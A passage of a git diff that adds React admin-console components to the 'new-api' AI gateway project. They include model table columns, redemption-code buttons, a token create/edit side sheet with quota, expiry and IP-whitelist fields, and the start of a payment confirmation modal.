+          rowSelection={rowSelection}
+          scroll={compactMode ? undefined : { x: 'max-content' }}
+          onRow={(record) => ({
+            onClick: () => openModelDetail && openModelDetail(record),
+            style: { cursor: 'pointer' },
+          })}
+          empty={
+            <Empty
+              image={
+                <IllustrationNoResult style={{ width: 150, height: 150 }} />
+              }
+              darkModeImage={
+                <IllustrationNoResultDark style={{ width: 150, height: 150 }} />
+              }
+              description={t('搜索无结果')}
+              style={{ padding: 30 }}
+            />
+          }
+          pagination={{
+            defaultPageSize: 20,
+            pageSize: pageSize,
+            showSizeChanger: true,
+            pageSizeOptions: [10, 20, 50, 100],
+            onPageSizeChange: (size) => setPageSize(size),
+          }}
+        />
+      </Card>
+    ),
+    [
+      filteredModels,
+      loading,
+      processedColumns,
+      rowSelection,
+      pageSize,
+      setPageSize,
+      openModelDetail,
+      t,
+      compactMode,
+    ],
+  );
+
+  return ModelTable;
+};
+
+export default PricingTable;
diff --git a/new-api/web/classic/src/components/table/models/ModelsColumnDefs.jsx b/new-api/web/classic/src/components/table/models/ModelsColumnDefs.jsx
new file mode 100644
index 0000000..4520a1b
--- /dev/null
+++ b/new-api/web/classic/src/components/table/models/ModelsColumnDefs.jsx
@@ -0,0 +1,380 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import {
+  Button,
+  Space,
+  Tag,
+  Typography,
+  Modal,
+  Tooltip,
+} from '@douyinfe/semi-ui';
+import {
+  timestamp2string,
+  getLobeHubIcon,
+  stringToColor,
+} from '../../../helpers';
+import {
+  renderLimitedItems,
+  renderDescription,
+} from '../../common/ui/RenderUtils';
+
+const { Text } = Typography;
+
+// Render timestamp
+function renderTimestamp(timestamp) {
+  return <>{timestamp2string(timestamp)}</>;
+}
+
+// Render model icon column: prefer model.icon, then fallback to vendor icon
+const renderModelIconCol = (record, vendorMap) => {
+  const iconKey = record?.icon || vendorMap[record?.vendor_id]?.icon;
+  if (!iconKey) return '-';
+  return (
+    <div className='flex items-center justify-center'>
+      {getLobeHubIcon(iconKey, 20)}
+    </div>
+  );
+};
+
+// Render vendor column with icon
+const renderVendorTag = (vendorId, vendorMap, t) => {
+  if (!vendorId || !vendorMap[vendorId]) return '-';
+  const v = vendorMap[vendorId];
+  return (
+    <Tag
+      color='white'
+      shape='circle'
+      prefixIcon={getLobeHubIcon(v.icon || 'Layers', 14)}
+    >
+      {v.name}
+    </Tag>
+  );
+};
+
+// Render groups (enable_groups)
+const renderGroups = (groups) => {
+  if (!groups || groups.length === 0) return '-';
+  return renderLimitedItems({
+    items: groups,
+    renderItem: (g, idx) => (
+      <Tag key={idx} size='small' shape='circle' color={stringToColor(g)}>
+        {g}
+      </Tag>
+    ),
+  });
+};
+
+// Render tags
+const renderTags = (text) => {
+  if (!text) return '-';
+  const tagsArr = text.split(',').filter(Boolean);
+  return renderLimitedItems({
+    items: tagsArr,
+    renderItem: (tag, idx) => (
+      <Tag key={idx} size='small' shape='circle' color={stringToColor(tag)}>
+        {tag}
+      </Tag>
+    ),
+  });
+};
+
+// Render endpoints (supports object map or legacy array)
+const renderEndpoints = (value) => {
+  try {
+    const parsed = typeof value === 'string' ? JSON.parse(value) : value;
+    if (parsed && typeof parsed === 'object' && !Array.isArray(parsed)) {
+      const keys = Object.keys(parsed || {});
+      if (keys.length === 0) return '-';
+      return renderLimitedItems({
+        items: keys,
+        renderItem: (key, idx) => (
+          <Tag key={idx} size='small' shape='circle' color={stringToColor(key)}>
+            {key}
+          </Tag>
+        ),
+        maxDisplay: 3,
+      });
+    }
+    if (Array.isArray(parsed)) {
+      if (parsed.length === 0) return '-';
+      return renderLimitedItems({
+        items: parsed,
+        renderItem: (ep, idx) => (
+          <Tag key={idx} color='white' size='small' shape='circle'>
+            {ep}
+          </Tag>
+        ),
+        maxDisplay: 3,
+      });
+    }
+    return value || '-';
+  } catch (_) {
+    return value || '-';
+  }
+};
+
+// Render quota types (array) using common limited items renderer
+const renderQuotaTypes = (arr, t) => {
+  if (!Array.isArray(arr) || arr.length === 0) return '-';
+  return renderLimitedItems({
+    items: arr,
+    renderItem: (qt, idx) => {
+      if (qt === 1) {
+        return (
+          <Tag key={`${qt}-${idx}`} color='teal' size='small' shape='circle'>
+            {t('按次计费')}
+          </Tag>
+        );
+      }
+      if (qt === 0) {
+        return (
+          <Tag key={`${qt}-${idx}`} color='violet' size='small' shape='circle'>
+            {t('按量计费')}
+          </Tag>
+        );
+      }
+      return (
+        <Tag key={`${qt}-${idx}`} color='white' size='small' shape='circle'>
+          {qt}
+        </Tag>
+      );
+    },
+    maxDisplay: 3,
+  });
+};
+
+// Render bound channels
+const renderBoundChannels = (channels) => {
+  if (!channels || channels.length === 0) return '-';
+  return renderLimitedItems({
+    items: channels,
+    renderItem: (c, idx) => (
+      <Tag key={idx} color='white' size='small' shape='circle'>
+        {c.name}({c.type})
+      </Tag>
+    ),
+  });
+};
+
+// Render operations column
+const renderOperations = (
+  text,
+  record,
+  setEditingModel,
+  setShowEdit,
+  manageModel,
+  refresh,
+  t,
+) => {
+  return (
+    <Space wrap>
+      {record.status === 1 ? (
+        <Button
+          type='danger'
+          size='small'
+          onClick={() => manageModel(record.id, 'disable', record)}
+        >
+          {t('禁用')}
+        </Button>
+      ) : (
+        <Button
+          size='small'
+          onClick={() => manageModel(record.id, 'enable', record)}
+        >
+          {t('启用')}
+        </Button>
+      )}
+
+      <Button
+        type='tertiary'
+        size='small'
+        onClick={() => {
+          setEditingModel(record);
+          setShowEdit(true);
+        }}
+      >
+        {t('编辑')}
+      </Button>
+
+      <Button
+        type='danger'
+        size='small'
+        onClick={() => {
+          Modal.confirm({
+            title: t('确定是否要删除此模型？'),
+            content: t('此修改将不可逆'),
+            onOk: () => {
+              (async () => {
+                await manageModel(record.id, 'delete', record);
+                await refresh();
+              })();
+            },
+          });
+        }}
+      >
+        {t('删除')}
+      </Button>
+    </Space>
+  );
+};
+
+// 名称匹配类型渲染（带匹配数量 Tooltip）
+const renderNameRule = (rule, record, t) => {
+  const map = {
+    0: { color: 'green', label: t('精确') },
+    1: { color: 'blue', label: t('前缀') },
+    2: { color: 'orange', label: t('包含') },
+    3: { color: 'purple', label: t('后缀') },
+  };
+  const cfg = map[rule];
+  if (!cfg) return '-';
+
+  let label = cfg.label;
+  if (rule !== 0 && record.matched_count) {
+    label = `${cfg.label} ${record.matched_count}${t('个模型')}`;
+  }
+
+  const tagElement = (
+    <Tag color={cfg.color} size='small' shape='circle'>
+      {label}
+    </Tag>
+  );
+
+  if (
+    rule === 0 ||
+    !record.matched_models ||
+    record.matched_models.length === 0
+  ) {
+    return tagElement;
+  }
+
+  return (
+    <Tooltip content={record.matched_models.join(', ')} showArrow>
+      {tagElement}
+    </Tooltip>
+  );
+};
+
+export const getModelsColumns = ({
+  t,
+  manageModel,
+  setEditingModel,
+  setShowEdit,
+  refresh,
+  vendorMap,
+}) => {
+  return [
+    {
+      title: t('图标'),
+      dataIndex: 'icon',
+      width: 70,
+      align: 'center',
+      render: (text, record) => renderModelIconCol(record, vendorMap),
+    },
+    {
+      title: t('模型名称'),
+      dataIndex: 'model_name',
+      render: (text) => (
+        <Text copyable onClick={(e) => e.stopPropagation()}>
+          {text}
+        </Text>
+      ),
+    },
+    {
+      title: t('匹配类型'),
+      dataIndex: 'name_rule',
+      render: (val, record) => renderNameRule(val, record, t),
+    },
+    {
+      title: t('参与官方同步'),
+      dataIndex: 'sync_official',
+      render: (val) => (
+        <Tag size='small' shape='circle' color={val === 1 ? 'green' : 'orange'}>
+          {val === 1 ? t('是') : t('否')}
+        </Tag>
+      ),
+    },
+    {
+      title: t('描述'),
+      dataIndex: 'description',
+      render: (text) => renderDescription(text, 200),
+    },
+    {
+      title: t('供应商'),
+      dataIndex: 'vendor_id',
+      render: (vendorId, record) => renderVendorTag(vendorId, vendorMap, t),
+    },
+    {
+      title: t('标签'),
+      dataIndex: 'tags',
+      render: renderTags,
+    },
+    {
+      title: t('端点'),
+      dataIndex: 'endpoints',
+      render: renderEndpoints,
+    },
+    {
+      title: t('已绑定渠道'),
+      dataIndex: 'bound_channels',
+      render: renderBoundChannels,
+    },
+    {
+      title: t('可用分组'),
+      dataIndex: 'enable_groups',
+      render: renderGroups,
+    },
+    {
+      title: t('计费类型'),
+      dataIndex: 'quota_types',
+      render: (qts) => renderQuotaTypes(qts, t),
+    },
+    {
+      title: t('创建时间'),
+      dataIndex: 'created_time',
+      render: (text, record, index) => {
+        return <div>{renderTimestamp(text)}</div>;
+      },
+    },
+    {
+      title: t('更新时间'),
+      dataIndex: 'updated_time',
+      render: (text, record, index) => {
+        return <div>{renderTimestamp(text)}</div>;
+      },
+    },
+    {
+      title: '',
+      dataIndex: 'operate',
+      fixed: 'right',
+      render: (text, record, index) =>
+        renderOperations(
+          text,
+          record,
+          setEditingModel,
+          setShowEdit,
+          manageModel,
+          refresh,
+          t,
+        ),
+    },
+  ];
+};
diff --git a/new-api/web/classic/src/components/table/redemptions/RedemptionsActions.jsx b/new-api/web/classic/src/components/table/redemptions/RedemptionsActions.jsx
new file mode 100644
index 0000000..f8133b0
--- /dev/null
+++ b/new-api/web/classic/src/components/table/redemptions/RedemptionsActions.jsx
@@ -0,0 +1,71 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Button } from '@douyinfe/semi-ui';
+
+const RedemptionsActions = ({
+  selectedKeys,
+  setEditingRedemption,
+  setShowEdit,
+  batchCopyRedemptions,
+  batchDeleteRedemptions,
+  t,
+}) => {
+  // Add new redemption code
+  const handleAddRedemption = () => {
+    setEditingRedemption({
+      id: undefined,
+    });
+    setShowEdit(true);
+  };
+
+  return (
+    <div className='flex flex-wrap gap-2 w-full md:w-auto order-2 md:order-1'>
+      <Button
+        type='primary'
+        className='flex-1 md:flex-initial'
+        onClick={handleAddRedemption}
+        size='small'
+      >
+        {t('添加兑换码')}
+      </Button>
+
+      <Button
+        type='tertiary'
+        className='flex-1 md:flex-initial'
+        onClick={batchCopyRedemptions}
+        size='small'
+      >
+        {t('复制所选兑换码到剪贴板')}
+      </Button>
+
+      <Button
+        type='danger'
+        className='w-full md:w-auto'
+        onClick={batchDeleteRedemptions}
+        size='small'
+      >
+        {t('清除失效兑换码')}
+      </Button>
+    </div>
+  );
+};
+
+export default RedemptionsActions;
diff --git a/new-api/web/classic/src/components/table/tokens/modals/EditTokenModal.jsx b/new-api/web/classic/src/components/table/tokens/modals/EditTokenModal.jsx
new file mode 100644
index 0000000..9112658
--- /dev/null
+++ b/new-api/web/classic/src/components/table/tokens/modals/EditTokenModal.jsx
@@ -0,0 +1,653 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useState, useContext, useRef } from 'react';
+import {
+  API,
+  showError,
+  showSuccess,
+  timestamp2string,
+  renderGroupOption,
+  getCurrencyConfig,
+  getModelCategories,
+  selectFilter,
+} from '../../../../helpers';
+import {
+  quotaToDisplayAmount,
+  displayAmountToQuota,
+} from '../../../../helpers/quota';
+import { useIsMobile } from '../../../../hooks/common/useIsMobile';
+import {
+  Button,
+  SideSheet,
+  Space,
+  Spin,
+  Typography,
+  Card,
+  Tag,
+  Avatar,
+  Form,
+  Col,
+  Row,
+  InputNumber,
+} from '@douyinfe/semi-ui';
+import {
+  IconCreditCard,
+  IconLink,
+  IconSave,
+  IconClose,
+  IconKey,
+} from '@douyinfe/semi-icons';
+import { useTranslation } from 'react-i18next';
+import { StatusContext } from '../../../../context/Status';
+
+const { Text, Title } = Typography;
+
+const EditTokenModal = (props) => {
+  const { t } = useTranslation();
+  const [statusState, statusDispatch] = useContext(StatusContext);
+  const [loading, setLoading] = useState(false);
+  const isMobile = useIsMobile();
+  const formApiRef = useRef(null);
+  const [models, setModels] = useState([]);
+  const [groups, setGroups] = useState([]);
+  const [showQuotaInput, setShowQuotaInput] = useState(false);
+  const isEdit = props.editingToken.id !== undefined;
+
+  const getInitValues = () => ({
+    name: '',
+    remain_quota: 0,
+    remain_amount: 0,
+    expired_time: -1,
+    unlimited_quota: true,
+    model_limits_enabled: false,
+    model_limits: [],
+    allow_ips: '',
+    group: '',
+    cross_group_retry: false,
+    tokenCount: 1,
+  });
+
+  const handleCancel = () => {
+    props.handleClose();
+  };
+
+  const setExpiredTime = (month, day, hour, minute) => {
+    let now = new Date();
+    let timestamp = now.getTime() / 1000;
+    let seconds = month * 30 * 24 * 60 * 60;
+    seconds += day * 24 * 60 * 60;
+    seconds += hour * 60 * 60;
+    seconds += minute * 60;
+    if (!formApiRef.current) return;
+    if (seconds !== 0) {
+      timestamp += seconds;
+      formApiRef.current.setValue('expired_time', timestamp2string(timestamp));
+    } else {
+      formApiRef.current.setValue('expired_time', -1);
+    }
+  };
+
+  const loadModels = async () => {
+    let res = await API.get(`/api/user/models`);
+    const { success, message, data } = res.data;
+    if (success) {
+      const categories = getModelCategories(t);
+      let localModelOptions = data.map((model) => {
+        let icon = null;
+        for (const [key, category] of Object.entries(categories)) {
+          if (key !== 'all' && category.filter({ model_name: model })) {
+            icon = category.icon;
+            break;
+          }
+        }
+        return {
+          label: (
+            <span className='flex items-center gap-1'>
+              {icon}
+              {model}
+            </span>
+          ),
+          value: model,
+        };
+      });
+      setModels(localModelOptions);
+    } else {
+      showError(t(message));
+    }
+  };
+
+  const loadGroups = async () => {
+    let res = await API.get(`/api/user/self/groups`);
+    const { success, message, data } = res.data;
+    if (success) {
+      let localGroupOptions = Object.entries(data).map(([group, info]) => ({
+        label: info.desc,
+        value: group,
+        ratio: info.ratio,
+      }));
+      if (statusState?.status?.default_use_auto_group) {
+        if (localGroupOptions.some((group) => group.value === 'auto')) {
+          localGroupOptions.sort((a, b) => (a.value === 'auto' ? -1 : 1));
+        }
+      }
+      setGroups(localGroupOptions);
+      // if (statusState?.status?.default_use_auto_group && formApiRef.current) {
+      //   formApiRef.current.setValue('group', 'auto');
+      // }
+    } else {
+      showError(t(message));
+    }
+  };
+
+  const loadToken = async () => {
+    setLoading(true);
+    let res = await API.get(`/api/token/${props.editingToken.id}`);
+    const { success, message, data } = res.data;
+    if (success) {
+      if (data.expired_time !== -1) {
+        data.expired_time = timestamp2string(data.expired_time);
+      }
+      if (data.model_limits !== '') {
+        data.model_limits = data.model_limits.split(',');
+      } else {
+        data.model_limits = [];
+      }
+      data.remain_amount = Number(
+        quotaToDisplayAmount(data.remain_quota || 0).toFixed(6),
+      );
+      if (formApiRef.current) {
+        formApiRef.current.setValues({ ...getInitValues(), ...data });
+      }
+    } else {
+      showError(message);
+    }
+    setLoading(false);
+  };
+
+  useEffect(() => {
+    if (formApiRef.current) {
+      if (!isEdit) {
+        formApiRef.current.setValues(getInitValues());
+      }
+    }
+    loadModels();
+    loadGroups();
+  }, [props.editingToken.id]);
+
+  useEffect(() => {
+    if (props.visiable) {
+      if (isEdit) {
+        loadToken();
+      } else {
+        formApiRef.current?.setValues(getInitValues());
+      }
+    } else {
+      formApiRef.current?.reset();
+    }
+  }, [props.visiable, props.editingToken.id]);
+
+  const generateRandomSuffix = () => {
+    const characters =
+      'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
+    let result = '';
+    for (let i = 0; i < 6; i++) {
+      result += characters.charAt(
+        Math.floor(Math.random() * characters.length),
+      );
+    }
+    return result;
+  };
+
+  const submit = async (values) => {
+    setLoading(true);
+    if (isEdit) {
+      let { tokenCount: _tc, ...localInputs } = values;
+      localInputs.remain_quota = localInputs.unlimited_quota
+        ? 0
+        : displayAmountToQuota(localInputs.remain_amount);
+      if (!localInputs.unlimited_quota && localInputs.remain_quota <= 0) {
+        showError(t('请输入金额'));
+        setLoading(false);
+        return;
+      }
+      if (localInputs.expired_time !== -1) {
+        let time = Date.parse(localInputs.expired_time);
+        if (isNaN(time)) {
+          showError(t('过期时间格式错误！'));
+          setLoading(false);
+          return;
+        }
+        localInputs.expired_time = Math.ceil(time / 1000);
+      }
+      localInputs.model_limits = localInputs.model_limits.join(',');
+      localInputs.model_limits_enabled = localInputs.model_limits.length > 0;
+      let res = await API.put(`/api/token/`, {
+        ...localInputs,
+        id: parseInt(props.editingToken.id),
+      });
+      const { success, message } = res.data;
+      if (success) {
+        showSuccess(t('令牌更新成功！'));
+        props.refresh();
+        props.handleClose();
+      } else {
+        showError(t(message));
+      }
+    } else {
+      const count = parseInt(values.tokenCount, 10) || 1;
+      let successCount = 0;
+      for (let i = 0; i < count; i++) {
+        let { tokenCount: _tc, ...localInputs } = values;
+        const baseName =
+          values.name.trim() === '' ? 'default' : values.name.trim();
+        if (i !== 0 || values.name.trim() === '') {
+          localInputs.name = `${baseName}-${generateRandomSuffix()}`;
+        } else {
+          localInputs.name = baseName;
+        }
+        localInputs.remain_quota = localInputs.unlimited_quota
+          ? 0
+          : displayAmountToQuota(localInputs.remain_amount);
+        if (!localInputs.unlimited_quota && localInputs.remain_quota <= 0) {
+          showError(t('请输入金额'));
+          setLoading(false);
+          break;
+        }
+
+        if (localInputs.expired_time !== -1) {
+          let time = Date.parse(localInputs.expired_time);
+          if (isNaN(time)) {
+            showError(t('过期时间格式错误！'));
+            setLoading(false);
+            break;
+          }
+          localInputs.expired_time = Math.ceil(time / 1000);
+        }
+        localInputs.model_limits = localInputs.model_limits.join(',');
+        localInputs.model_limits_enabled = localInputs.model_limits.length > 0;
+        let res = await API.post(`/api/token/`, localInputs);
+        const { success, message } = res.data;
+        if (success) {
+          successCount++;
+        } else {
+          showError(t(message));
+          break;
+        }
+      }
+      if (successCount > 0) {
+        showSuccess(t('令牌创建成功，请在列表页面点击复制获取令牌！'));
+        props.refresh();
+        props.handleClose();
+      }
+    }
+    setLoading(false);
+    formApiRef.current?.setValues(getInitValues());
+  };
+
+  return (
+    <SideSheet
+      placement={isEdit ? 'right' : 'left'}
+      title={
+        <Space>
+          {isEdit ? (
+            <Tag color='blue' shape='circle'>
+              {t('更新')}
+            </Tag>
+          ) : (
+            <Tag color='green' shape='circle'>
+              {t('新建')}
+            </Tag>
+          )}
+          <Title heading={4} className='m-0'>
+            {isEdit ? t('更新令牌信息') : t('创建新的令牌')}
+          </Title>
+        </Space>
+      }
+      bodyStyle={{ padding: '0' }}
+      visible={props.visiable}
+      width={isMobile ? '100%' : 600}
+      footer={
+        <div className='flex justify-end bg-white'>
+          <Space>
+            <Button
+              theme='solid'
+              className='!rounded-lg'
+              onClick={() => formApiRef.current?.submitForm()}
+              icon={<IconSave />}
+              loading={loading}
+            >
+              {t('提交')}
+            </Button>
+            <Button
+              theme='light'
+              className='!rounded-lg'
+              type='primary'
+              onClick={handleCancel}
+              icon={<IconClose />}
+            >
+              {t('取消')}
+            </Button>
+          </Space>
+        </div>
+      }
+      closeIcon={null}
+      onCancel={() => handleCancel()}
+    >
+      <Spin spinning={loading}>
+        <Form
+          key={isEdit ? 'edit' : 'new'}
+          initValues={getInitValues()}
+          getFormApi={(api) => (formApiRef.current = api)}
+          onSubmit={submit}
+        >
+          {({ values }) => (
+            <div className='p-2'>
+              {/* 基本信息 */}
+              <Card className='!rounded-2xl shadow-sm border-0'>
+                <div className='flex items-center mb-2'>
+                  <Avatar size='small' color='blue' className='mr-2 shadow-md'>
+                    <IconKey size={16} />
+                  </Avatar>
+                  <div>
+                    <Text className='text-lg font-medium'>{t('基本信息')}</Text>
+                    <div className='text-xs text-gray-600'>
+                      {t('设置令牌的基本信息')}
+                    </div>
+                  </div>
+                </div>
+                <Row gutter={12}>
+                  <Col span={24}>
+                    <Form.Input
+                      field='name'
+                      label={t('名称')}
+                      placeholder={t('请输入名称')}
+                      rules={[{ required: true, message: t('请输入名称') }]}
+                      showClear
+                    />
+                  </Col>
+                  <Col span={24}>
+                    {groups.length > 0 ? (
+                      <Form.Select
+                        field='group'
+                        label={t('令牌分组')}
+                        placeholder={t('令牌分组，默认为用户的分组')}
+                        optionList={groups}
+                        renderOptionItem={renderGroupOption}
+                        filter={(input, option) => {
+                          const q = input.toLowerCase();
+                          return (
+                            option.value?.toLowerCase().includes(q) ||
+                            (typeof option.label === 'string' &&
+                              option.label.toLowerCase().includes(q))
+                          );
+                        }}
+                        showClear
+                        style={{ width: '100%' }}
+                      />
+                    ) : (
+                      <Form.Select
+                        placeholder={t('管理员未设置用户可选分组')}
+                        disabled
+                        label={t('令牌分组')}
+                        style={{ width: '100%' }}
+                      />
+                    )}
+                  </Col>
+                  <Col
+                    span={24}
+                    style={{
+                      display: values.group === 'auto' ? 'block' : 'none',
+                    }}
+                  >
+                    <Form.Switch
+                      field='cross_group_retry'
+                      label={t('跨分组重试')}
+                      size='default'
+                      extraText={t(
+                        '开启后，当前分组渠道失败时会按顺序尝试下一个分组的渠道',
+                      )}
+                    />
+                  </Col>
+                  <Col xs={24} sm={24} md={24} lg={10} xl={10}>
+                    <Form.DatePicker
+                      field='expired_time'
+                      label={t('过期时间')}
+                      type='dateTime'
+                      placeholder={t('请选择过期时间')}
+                      rules={[
+                        { required: true, message: t('请选择过期时间') },
+                        {
+                          validator: (rule, value) => {
+                            // 允许 -1 表示永不过期，也允许空值在必填校验时被拦截
+                            if (value === -1 || !value)
+                              return Promise.resolve();
+                            const time = Date.parse(value);
+                            if (isNaN(time)) {
+                              return Promise.reject(t('过期时间格式错误！'));
+                            }
+                            if (time <= Date.now()) {
+                              return Promise.reject(
+                                t('过期时间不能早于当前时间！'),
+                              );
+                            }
+                            return Promise.resolve();
+                          },
+                        },
+                      ]}
+                      showClear
+                      style={{ width: '100%' }}
+                    />
+                  </Col>
+                  <Col xs={24} sm={24} md={24} lg={14} xl={14}>
+                    <Form.Slot label={t('过期时间快捷设置')}>
+                      <Space wrap>
+                        <Button
+                          theme='light'
+                          type='primary'
+                          onClick={() => setExpiredTime(0, 0, 0, 0)}
+                        >
+                          {t('永不过期')}
+                        </Button>
+                        <Button
+                          theme='light'
+                          type='tertiary'
+                          onClick={() => setExpiredTime(1, 0, 0, 0)}
+                        >
+                          {t('一个月')}
+                        </Button>
+                        <Button
+                          theme='light'
+                          type='tertiary'
+                          onClick={() => setExpiredTime(0, 1, 0, 0)}
+                        >
+                          {t('一天')}
+                        </Button>
+                        <Button
+                          theme='light'
+                          type='tertiary'
+                          onClick={() => setExpiredTime(0, 0, 1, 0)}
+                        >
+                          {t('一小时')}
+                        </Button>
+                      </Space>
+                    </Form.Slot>
+                  </Col>
+                  {!isEdit && (
+                    <Col span={24}>
+                      <Form.InputNumber
+                        field='tokenCount'
+                        label={t('新建数量')}
+                        min={1}
+                        extraText={t('批量创建时会在名称后自动添加随机后缀')}
+                        rules={[
+                          { required: true, message: t('请输入新建数量') },
+                        ]}
+                        style={{ width: '100%' }}
+                      />
+                    </Col>
+                  )}
+                </Row>
+              </Card>
+
+              {/* 额度设置 */}
+              <Card className='!rounded-2xl shadow-sm border-0'>
+                <div className='flex items-center mb-2'>
+                  <Avatar size='small' color='green' className='mr-2 shadow-md'>
+                    <IconCreditCard size={16} />
+                  </Avatar>
+                  <div>
+                    <Text className='text-lg font-medium'>{t('额度设置')}</Text>
+                    <div className='text-xs text-gray-600'>
+                      {t('设置令牌可用额度和数量')}
+                    </div>
+                  </div>
+                </div>
+                <Row gutter={12}>
+                  <Col span={24}>
+                    <Form.InputNumber
+                      field='remain_amount'
+                      label={t('金额')}
+                      prefix={getCurrencyConfig().symbol}
+                      placeholder={t('输入金额')}
+                      precision={6}
+                      disabled={values.unlimited_quota}
+                      min={0}
+                      step={0.000001}
+                      onChange={(val) => {
+                        const amount = val === '' || val == null ? 0 : val;
+                        formApiRef.current?.setValue('remain_amount', amount);
+                        formApiRef.current?.setValue(
+                          'remain_quota',
+                          displayAmountToQuota(amount),
+                        );
+                      }}
+                      style={{ width: '100%' }}
+                      showClear
+                    />
+                  </Col>
+                  <Col span={24}>
+                    <div
+                      className='text-xs cursor-pointer mt-1'
+                      style={{ color: 'var(--semi-color-text-2)' }}
+                      onClick={() => setShowQuotaInput((v) => !v)}
+                    >
+                      {showQuotaInput
+                        ? `▾ ${t('收起原生额度输入')}`
+                        : `▸ ${t('使用原生额度输入')}`}
+                    </div>
+                    <div style={{ display: showQuotaInput ? 'block' : 'none' }} className='mt-2'>
+                      <Form.InputNumber
+                        field='remain_quota'
+                        label={t('额度')}
+                        placeholder={t('输入额度')}
+                        disabled={values.unlimited_quota}
+                        min={0}
+                        step={500000}
+                        rules={
+                          values.unlimited_quota
+                            ? []
+                            : [{ required: true, message: t('请输入额度') }]
+                        }
+                        onChange={(val) => {
+                          const quota = val === '' || val == null ? 0 : val;
+                          formApiRef.current?.setValue('remain_quota', quota);
+                          formApiRef.current?.setValue(
+                            'remain_amount',
+                            Number(quotaToDisplayAmount(quota).toFixed(6)),
+                          );
+                        }}
+                        style={{ width: '100%' }}
+                        showClear
+                      />
+                    </div>
+                  </Col>
+                  <Col span={24}>
+                    <Form.Switch
+                      field='unlimited_quota'
+                      label={t('无限额度')}
+                      size='default'
+                      extraText={t(
+                        '令牌的额度仅用于限制令牌本身的最大额度使用量，实际的使用受到账户的剩余额度限制',
+                      )}
+                    />
+                  </Col>
+                </Row>
+              </Card>
+
+              {/* 访问限制 */}
+              <Card className='!rounded-2xl shadow-sm border-0'>
+                <div className='flex items-center mb-2'>
+                  <Avatar
+                    size='small'
+                    color='purple'
+                    className='mr-2 shadow-md'
+                  >
+                    <IconLink size={16} />
+                  </Avatar>
+                  <div>
+                    <Text className='text-lg font-medium'>{t('访问限制')}</Text>
+                    <div className='text-xs text-gray-600'>
+                      {t('设置令牌的访问限制')}
+                    </div>
+                  </div>
+                </div>
+                <Row gutter={12}>
+                  <Col span={24}>
+                    <Form.Select
+                      field='model_limits'
+                      label={t('模型限制列表')}
+                      placeholder={t(
+                        '请选择该令牌支持的模型，留空支持所有模型',
+                      )}
+                      multiple
+                      optionList={models}
+                      extraText={t('非必要，不建议启用模型限制')}
+                      filter={selectFilter}
+                      autoClearSearchValue={false}
+                      searchPosition='dropdown'
+                      showClear
+                      style={{ width: '100%' }}
+                    />
+                  </Col>
+                  <Col span={24}>
+                    <Form.TextArea
+                      field='allow_ips'
+                      label={t('IP白名单（支持CIDR表达式）')}
+                      placeholder={t('允许的IP，一行一个，不填写则不限制')}
+                      autosize
+                      rows={1}
+                      extraText={t(
+                        '请勿过度信任此功能，IP可能被伪造，请配合nginx和cdn等网关使用',
+                      )}
+                      showClear
+                      style={{ width: '100%' }}
+                    />
+                  </Col>
+                </Row>
+              </Card>
+            </div>
+          )}
+        </Form>
+      </Spin>
+    </SideSheet>
+  );
+};
+
+export default EditTokenModal;
diff --git a/new-api/web/classic/src/components/topup/modals/PaymentConfirmModal.jsx b/new-api/web/classic/src/components/topup/modals/PaymentConfirmModal.jsx
new file mode 100644
index 0000000..f1c53c1
--- /dev/null
+++ b/new-api/web/classic/src/components/topup/modals/PaymentConfirmModal.jsx
@@ -0,0 +1,221 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Modal, Typography, Card, Skeleton } from '@douyinfe/semi-ui';
+import { SiAlipay, SiWechat, SiStripe } from 'react-icons/si';
+import { CreditCard } from 'lucide-react';
+
+const { Text } = Typography;
+
+const PaymentConfirmModal = ({
+  t,
+  open,
+  onlineTopUp,
+  handleCancel,
+  confirmLoading,
+  topUpCount,
+  renderQuotaWithAmount,
+  amountLoading,
+  renderAmount,
+  payWay,
+  payMethods,
+  // 新增：用于显示折扣明细
+  amountNumber,
+  discountRate,
+}) => {
+  const hasDiscount =
+    discountRate && discountRate > 0 && discountRate < 1 && amountNumber > 0;
+  const originalAmount = hasDiscount ? amountNumber / discountRate : 0;
+  const discountAmount = hasDiscount ? originalAmount - amountNumber : 0;
+  return (
+    <Modal
+      title={
